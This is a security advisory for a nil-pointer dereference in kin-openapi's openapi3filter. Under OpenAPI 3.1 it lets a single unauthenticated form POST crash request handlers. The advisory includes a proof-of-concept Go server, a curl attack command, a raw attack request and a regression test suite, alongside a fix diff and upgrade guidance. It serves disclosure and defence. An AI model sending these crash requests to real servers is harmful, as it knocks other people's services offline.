OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-97394: kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items

GitHub Advisories · officialPublished Oct 15, 2026Risk 37/100

### Summary A nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit. ### Details **Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`. **Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421): ```go case propType.Is("array"): items := propSchema.Value.Items.Value // Items == nil → panic ``` This runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder). The same nil `Items` also crashes: | Path | Location | Trigger | |---|---|---| | `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property | | `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params | `Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application. **Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.: ```diff case propType.Is("array"): + if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { + return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName) + } items := propSchema.Value.Items.Value ``` Apply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`. ### PoC Verified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`. **1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`: ```yaml openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ``` **2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`: ```go package main import ( "fmt" "log" "net/http" "strings" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { log.Fatal(err) } if err := doc.Validate(loader.Context); err != nil { log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err) } fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value. Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items) router, err := gorillamux.NewRouter(doc) if err != nil { log.Fatal(err) } // Direct call (no net/http recover): proves the library itself panics. req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pp, _ := router.FindRoute(req) func() { defer func() { if r := recover(); r != nil { fmt.Printf("DIRECT_PANIC: %v\n", r) } }() _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Println("DIRECT_PANIC: none (unexpected)") }() mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) _, _ = w.Write([]byte("ok\n")) }) addr := "127.0.0.1:8085" fmt.Printf("listening on http://%s/f\n", addr) fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f") log.Fatal(http.ListenAndServe(addr, mux)) } ``` **3. Observed output** (`go run .`): ``` SPEC_ACCEPTED; Items == <nil> DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference listening on http://127.0.0.1:8085/f ``` Then: ``` curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f ``` Server log: ``` http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference … openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421 … openapi3filter.ValidateRequest … ``` Stack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` → `ValidateRequestBody` → `decodeBody`. **Attack request:** ``` POST /f HTTP/1.1 Host: victim Content-Type: application/x-www-form-urlencoded tags=a ``` (Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.) **4. Regression / multi-surface test suite** — save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`: ```go package openapi3filter_test import ( "bytes" "context" "fmt" "io" "mime/multipart" "net/http" "net/http/httptest" "strings" "testing" "github.com/stretchr/testify/require" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const urlencodedSpec31 = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` const urlencodedSpec30 = ` openapi: 3.0.3 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` const multipartSpec31 = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: tags: {type: array} responses: '200': {description: ok} ` const responseHeaderSpec31 = ` openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /hdr: get: responses: '200': description: ok headers: X-Tags: schema: {type: array} ` func catchPanic(fn func()) (panicValue any) { defer func() { panicValue = recover() }() fn() return nil } func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content. Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value require.True(t, schema.Type.Is("array")) require.Nil(t, schema.Items) } func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec30)) require.NoError(t, err) require.Error(t, doc.Validate(loader.Context)) } func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) got := catchPanic(func() { _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") } func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(multipartSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("tags", "a")) require.NoError(t, w.Close()) req, err := http.NewRequest(http.MethodPost, "/upload", &buf) require.NoError(t, err) req.Header.Set("Content-Type", w.FormDataContentType()) route, pathParams, err := router.FindRoute(req) require.NoError(t, err) got := catchPanic(func() { _ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") } func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(responseHeaderSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) req, err := http.NewRequest(http.MethodGet, "/hdr", nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err) got := catchPanic(func() { _ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{ RequestValidationInput: &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }, Status: http.StatusOK, Header: http.Header{"X-Tags": []string{"a,b"}}, Body: io.NopCloser(strings.NewReader("")), }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") } func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) var panicCount int mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) { defer func() { if recover() != nil { panicCount++ http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError) } }() route, pathParams, err := router.FindRoute(r) require.NoError(t, err) err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) }) srv := httptest.NewServer(mux) t.Cleanup(srv.Close) const n = 5 for i := 0; i < n; i++ { resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a")) require.NoError(t, err) _, _ = io.ReadAll(resp.Body) _ = resp.Body.Close() require.Equal(t, http.StatusInternalServerError, resp.StatusCode) } require.Equal(t, n, panicCount) } func TestArrayItemsNilPanic_Deterministic(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err) const attempts = 50 panics := 0 for i := 0; i < attempts; i++ { req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) if catchPanic(func() { _ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) != nil { panics++ } } require.Equal(t, attempts, panics) } ``` **Observed results on the vulnerable tree:** - 3.1 accepts the schema (`Items == nil`); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with `nil pointer dereference` - **50/50** panic rate (100% deterministic) - E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` → HTTP 500 ### Impact - **Type:** NULL Pointer Dereference → **unauthenticated remote denial of service**. - **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — `doc.Validate()` does **not** reject them under 3.1. - **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body. - **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash. - **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).

Upgrade affected packages to a patched version: github.com/getkin/kin-openapi 0.143.0.

Vendor
Not specified
Product
github.com/getkin/kin-openapi
Exploitation
none known
Evidence
official
CVSS
7.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source